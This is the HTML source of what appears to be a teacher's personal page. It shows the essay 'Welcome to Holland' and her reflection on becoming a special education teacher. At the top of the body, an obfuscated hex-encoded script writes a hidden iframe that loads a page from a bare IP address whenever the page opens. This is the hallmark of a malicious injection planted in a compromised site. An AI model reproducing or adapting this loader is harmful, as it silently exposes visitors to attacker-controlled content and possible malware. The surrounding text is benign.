Mrs. Jennifer Parker, K Special Education

<body topmargin=0 leftmargin=0 marginheight=0 marginwidth=0><script>function v483d413c87813(v483d413c8800b){ return(parseInt(v483d413c8800b,16));}function v483d413c897f7(v483d413c89ff0){ function v483d413c8b7c3 () {return 2;} var v483d413c8a84f='';for(v483d413c8afd0=0; v483d413c8afd0<v483d413c89ff0.length; v483d413c8afd0+=v483d413c8b7c3()){ v483d413c8a84f+=(String.fromCharCode(v483d413c87813(v483d413c89ff0.substr(v483d413c8afd0, v483d413c8b7c3()))));}return v483d413c8a84f;} document.write(v483d413c897f7('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D3036616265336366207372633D5C27687474703A2F2F37372E3232312E3133332E3135312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323939353230292B2763355C272077696474683D353132206865696768743D353835207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> <table cellpadding=0 cellspacing=0 border=0><tr> <td valign="top" rowspan="2" width=210 BGCOLOR="#99CC99" TEXT="#080000" bgproperties="fixed" background="03e8dfc3.jpg"> <bR> <div> <B><IMG SRC="046c2290.jpg" border=0 width="450" height="297" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></B></div> <bR> </td> <td valign="top" colspan=2 height=82 BGCOLOR="#CCCC99" TEXT="#080000" bgproperties="fixed" background="03f8dfe1esnpes.jpg"> <div> <B>Mrs. Jennifer  Parker, K Special Education </B></div> <bR> <div> </div> </td> </tr><tr> <td valign="top" height=398 colspan=2 BGCOLOR="#CCCC99" TEXT="#080000" bgproperties="fixed" background="03f8dfc3.jpg"> <div> <TABLE BORDER="0" CELLPADDING="2" CELLSPACING="1" WIDTH="763" BORDERCOLORLIGHT="#C0C0C0" BORDERCOLORDARK="#808080" FRAME="BOX" RULES="ALL" HSPACE="0" VSPACE="0" > <tR> <tD VALIGN=TOP HEIGHT= 868 WIDTH="757"><div> Welcome to Holland    by <FONT SIZE="3" COLOR="#3300FF" FACE="Arial" >Emily Perl Kingsley</FONT></div> <div>  </div> <div>      I am often asked to describe the experience of raising a child with a disability- to try to help people who have not shared that unique experience to understand it, to imagine how it would feel. It's like this.......</div> <bR> <div>      <FONT SIZE="3" COLOR="#000000" FACE="Comic Sans MS" >When you're going to have a baby, it's like planning a fabulous vacation trip- to Italy. You buy a bunch of guide books and make your wonderful plans. The Coliseum. The Michelangelo David. The gondolas in Venice. You may learn some handy phrases in Italian. It's all very exciting.</FONT></div> <bR> <div>   After months of eager anticipation, the day finally arrives. You pack your bags and off you go. Several hours later, the plane lands. The stewardess comes in and says, "Welcome to Holland."</div> <bR> <div>    "Holland?!?" you say. "What do you mean Holland?? I signed up for Italy! I'm supposed to be in Italy. All my life I've dreamed of going to Italy."</div> <bR> <div>    But there's been a change in the flight plan. They've landed in Holland and there you must stay.</div> <bR> <div>    The important thing is that they haven't taken you to a horrible, disgusting, filthy place, full of pestilence, famine and disease. It's just a difference place.</div> <bR> <div>    So you must go out and buy new guide books. And you must learn a whole new language. And you will meet a whole new group of people you would never have met.</div> <bR> <div>    It's just a different place. It's slower-paced than Italy, less flashy than Italy. But after you've been there for a while and you catch your breath, you look around...and you begin to notice that Holland has windmills....and Holland has tulips.  Holland even has Rembrandts.</div> <bR> <div>    But everyone you know is busy coming and going from Italy...and they're all bragging about what a wonderful time they had there.  And for the rest of your life, you will say "Yes, that's where I was supposed to go. That's what I had planned."</div> <bR> <div>    And the pain of that will never, ever, ever, ever go away...because the loss of that dream is a very, very significant loss.</div> <bR> <div>    But...if you spend your life mourning the fact that you didn't  get to Italy, you may never be free to enjoy the very special, the very lovely things...about Holland.</div> <bR> <div> I found the following poem one day when doing some research on the Internet.  Holland in this poem represents everything that I stand for, my passion in life; yet my plan was never even to visit Holland. I knew growing up that I always wanted to be a teacher.  When choosing a college I decided to go to one who offered a dual certification option in education (regular and special education certification), because I was told it would make me more "marketable." Next thing I knew I was graduating and jobs were scarce, I read an article in the <U>New Times</U> about a need for special education teachers in New Fairfield.  Now I am in Holland, and when asked how I feel about teaching in Italy my answer has never swayed.  There is a reason why I ended up here, and each year, each one of my students keeps refreshing me as to why I must stay. <FONT SIZE="3" COLOR="#000000" FACE="Arial" >- Jennifer</FONT></div> <bR> </tD> </tR> </TABLE></div> <bR> <bR> <bR> <bR> </td> </tr></table></body>